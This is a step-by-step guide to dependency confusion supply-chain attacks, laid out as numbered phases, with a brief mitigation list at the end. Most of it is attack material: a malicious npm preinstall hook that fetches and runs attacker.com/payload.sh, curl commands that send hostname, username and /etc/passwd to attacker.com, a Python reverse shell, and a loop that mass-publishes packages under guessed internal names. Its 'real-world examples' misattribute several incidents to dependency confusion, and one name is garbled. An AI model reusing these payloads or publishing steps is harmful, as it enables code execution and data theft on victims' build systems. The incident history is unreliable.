Dependency Confusion

Attackers upload malicious packages with internal-sounding names to public registries, tricking builds into pulling the malicious package.

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Phase 1

Introduction

1Attackers upload packages with internal-sounding names to public registries

Dependency Confusion = tricking builds into pulling malicious packages

2Core mechanism: Name confusion between private and public registries

Internal package names guessed/leaked + public upload = compromise

3All package managers with public+private registry support are vulnerable

Affects: npm, PyPI, Maven, RubyGems, NuGet, Go modules

4Complete practical guide by CoffinXP

Video Reference: https://youtu.be/LEFikziGL6s?si=i3qxpTus7I3qnp7u

Phase 2

How Dependency Confusion Works

1Step 1: Identify target's internal package naming convention

#1: Company uses internal package: @company/internal-utils

2Step 2: Upload malicious package with same name to public registry

#2: Attacker uploads @company/internal-utils to npmjs.com

3Step 3: Package manager checks public registry before private

#3: Build system checks npmjs.com FIRST (default behavior)

4Step 4: Compromise! Malicious code executes during npm install

#4: Malicious package gets installed instead of internal one

Phase 3

Finding Internal Package Names

1GitHub dorking for internal package references

site:github.com "company/internal-" OR "@company/" OR "internal-package"

2Search for dependency files with internal packages

site:github.com "package.json" OR "requirements.txt" OR "pom.xml" "internal"

3Find leaked package names in pastes and gists

site:pastebin.com OR site:gist.github.com "@company/" OR "internal.utils"

4Scan with Nuclei dependency confusion templates

nuclei -u https://target.com -t dependencies --tags dependency-confusion

Phase 4

Testing for Dependency Confusion

1Test if package exists publicly (dry-run won't actually install)

npm install @company/internal-utils --dry-run

2Python: Check if package exists on PyPI

pip install internal-utils --dry-run 2>&1 | grep "Could not find"

3Ruby: Test if gem exists publicly

gem install internal-utils --dry-run

4Maven: Check if artifact exists in public repos

mvn dependency:resolve -Dartifact=com.company:internal-utils:1.0

Phase 5

Creating Malicious Packages

1npm: Initialize package with target's scope

npm init --scope=@company --yes

2npm: Add preinstall script that executes malicious code

echo '{"scripts": {"preinstall": "curl attacker.com/payload.sh | sh"}}' > package.json

3npm: Publish malicious package to public registry

npm publish --registry https://registry.npmjs.com/

4PyPI: Create and upload malicious Python package

python3 setup.py sdist && python3 -m twine upload dist/*

Phase 6

Malicious Payloads

1Simple: Exfiltrate hostname and username via curl

curl https://attacker.com/$(hostname)/$(whoami)

2Medium: Exfiltrate /etc/passwd contents

bash -c "curl -X POST https://attacker.com/$(cat /etc/passwd)"

3Advanced: Reverse shell in Python payload

python3 -c "import socket,subprocess;s=socket.socket();s.connect(("attacker.com",4444));subprocess.call(["/bin/sh","-i"],stdin=s,stdout=s,stderr=s)"

4Persistence: Add attacker-controlled repo (Linux/RPM)

echo "malicious-package=v1.0" >> /etc/yum.repos.d/internal.repo

Phase 7

Automation Tools

1Mass upload: Iterate through list of guessed internal names

for pkg in $(cat internal-names.txt); do npm publish --registry https://registry.npmjs.com/ $pkg; done

2Scan multiple targets with Nuclei templates

nuclei -l dependency-confusion.yaml -o results.txt

3Find references to package managers in subdomains

subfinder -d target.com | httpx-toolkit -silent | grep -i "npm\|pip\|maven"

Phase 8

Real-World Examples

12018: event-stream compromised, affected millions of users

Event-Stream (npm): Malicious package with 3.6M weekly downloads

22018: Attacker uploaded eslint-scope to npm

ESLint-scope (npm): Typosquatting + Dependency Confusion hybrid

32021: browsealoud package mimicked browsertaloud

BrowseAloud (PyPI): 400k+ downloads of malicious package

42021: CodeCov bash uploader compromise affected many orgs

CodeCov (multiple): Supply chain attack via dependency confusion

Phase 9

Mitigation & Prevention

1npm: Force @company/* packages to use private registry

#1: Use .npmrc with scoped registry configuration

2npm: Configure scoped registry for internal packages

echo "@company:registry=https://registry.company.com/" >> .npmrc

3Always commit lockfiles and verify integrity hashes

#2: Enable package-lock.json / Pipfile.lock verification

4npm install --ignore-scripts (prevents preinstall/postinstall execution)

#3: Use --ignore-scripts flag during install (defense in depth)

5Set up alerts when someone uploads packages matching your naming convention

#4: Monitor public registries for your package names

6Maintain internal mirror with vetted packages only

#5: Use internal mirror of public packages (air-gapped)

Tools

Tools & Resources

Nuclei Dependency Confusion Template

Ready-to-use Nuclei template for detection

CoffinXP Dependency Confusion Video

Complete practical guide with examples

npm-scope-check

Check npm scoped package configuration

OWASP Dependency Check

Tool for detecting known vulnerable dependencies

Snyk

Commercial tool for supply chain security